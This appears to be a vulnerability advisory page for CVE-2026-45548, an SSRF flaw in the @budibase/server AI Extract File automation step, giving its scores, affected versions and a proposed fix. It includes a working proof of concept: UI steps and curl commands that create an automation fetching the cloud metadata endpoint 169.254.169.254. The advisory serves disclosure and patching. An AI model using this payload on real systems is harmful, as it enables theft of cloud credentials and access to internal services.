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HIGH severity

CVE-2026-45548 — @budibase/server

HIGH

CVE-2026-45548 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in @budibase/server. A fix is available for @budibase/server — see the affected versions and patch details below.

Budibase: SSRF in AI Extract File Automation Step via Missing IP Blacklist Validation

Also known asGHSA-rpj4-7x2v-wjrf
Published
May 27, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45548.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45548 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@budibase/servernpm
17Kdownloads / week

Description

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The processUrlFile function in packages/server/src/automations/steps/ai/extract.ts uses fetch(fileUrl) directly without the IP blacklist validation that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses.

Vulnerable Code

packages/server/src/automations/steps/ai/extract.ts (lines 116, 139):

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetch(fileUrl)  // NO blacklist check!
  // ...
  const fallbackResponse = await fetch(fileUrl)  // Also NO blacklist check!
}

Contrast with All Other Automation Steps (Same Codebase)

Every other automation step that makes outbound HTTP requests properly uses fetchWithBlacklist:

  • steps/slack.ts:19: response = await fetchWithBlacklist(url, {...})
  • steps/discord.ts:28: response = await fetchWithBlacklist(url, {...})
  • steps/zapier.ts:33: response = await fetchWithBlacklist(url, {...})
  • steps/n8n.ts:53: response = await fetchWithBlacklist(url, request)
  • steps/outgoingWebhook.ts: response = await fetchWithBlacklist(url, {...})
  • steps/make.ts: response = await fetchWithBlacklist(url, {...})

The fetchWithBlacklist function (steps/utils.ts:100) validates URLs against the IP blacklist which blocks:

  • 127.0.0.0/8 (loopback)
  • 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC1918 private)
  • 169.254.0.0/16 (link-local / cloud metadata)
  • IPv6 private addresses

The AI Extract File step bypasses all of these protections.

Steps to Reproduce

Via Budibase UI

  1. Login as builder user
  2. Create or open any app
  3. Go to Automations > New Automation
  4. Add trigger: App Action
  5. Add step: AI > Extract File Data
  6. Set Source: URL
  7. Set File URL: http://169.254.169.254/latest/meta-data/ (or any internal IP)
  8. Click Run Test — the server makes the request without IP blacklist validation

Via curl (API)

# 1. Login and get session cookie
curl -s -c /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/global/auth/default/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"YOUR_EMAIL","password":"YOUR_PASSWORD"}'

# 2. Create automation with SSRF payload (replace YOUR_APP_ID)
curl -s -b /tmp/bb.txt \
  "http://BUDIBASE_HOST/api/automations" \
  -X POST -H "Content-Type: application/json" \
  -H "x-budibase-app-id: YOUR_APP_ID" \
  -d '{"name":"SSRF PoC","definition":{"trigger":{"stepId":"APP","event":"row:save"},"steps":[{"stepId":"AI_EXTRACT","inputs":{"source":"URL","fileUrl":"http://169.254.169.254/latest/meta-data/"}}]}}'

Code Review Verification

Compare the vulnerable function with the safe pattern used everywhere else:

VULNERABLE (no blacklist):
  packages/server/src/automations/steps/ai/extract.ts:116
    const response = await fetch(fileUrl)

SAFE (with blacklist) - every other step:
  packages/server/src/automations/steps/slack.ts:19
    response = await fetchWithBlacklist(url, {...})
  packages/server/src/automations/steps/discord.ts:28
    response = await fetchWithBlacklist(url, {...})

Expected vs Actual Behavior

Expected: processUrlFile() should reject internal/private IPs via fetchWithBlacklist() Actual: fetch(fileUrl) is called directly, allowing requests to 127.0.0.1, 10.x.x.x, 169.254.169.254 etc.

Impact

An authenticated user with builder permissions can:

  • Access cloud metadata endpoints (AWS IAM credentials, GCP service tokens, Azure IMDS)
  • Scan internal network services and ports
  • Access internal APIs not intended for external access
  • Exfiltrate data from internal services via the automation response

In Budibase Cloud (SaaS), this could be used to steal cloud provider credentials, potentially leading to full infrastructure compromise.

Proposed Fix

Replace fetch(fileUrl) with fetchWithBlacklist(fileUrl), consistent with all other automation steps:

import { fetchWithBlacklist } from "../utils"

async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Use blacklist
  // ...
  const fallbackResponse = await fetchWithBlacklist(fileUrl)  // Use blacklist
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/serverall versions3.34.8npm install @budibase/server@3.34.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @budibase/server to 3.34.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45548 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Vulnerability Details **CWE-918**: Server-Side Request Forgery (SSRF) The `processUrlFile` function in `packages/server/src/automations/steps/ai/extract.ts` uses `fetch(fileUrl)` directly **without the IP blacklist validation** that is consistently applied to all other automation steps. This allows an authenticated user to trigger server-side requests to internal network addresses. ### Vulnerable Code **`packages/server/src/automations/steps/ai/extract.ts` (lines 116, 139)**: ```typescript async function processUrlFile(fileUrl: string, ...): Promise<ExtractInput> { const response = a
O3 Security · Impact-Aware SCA

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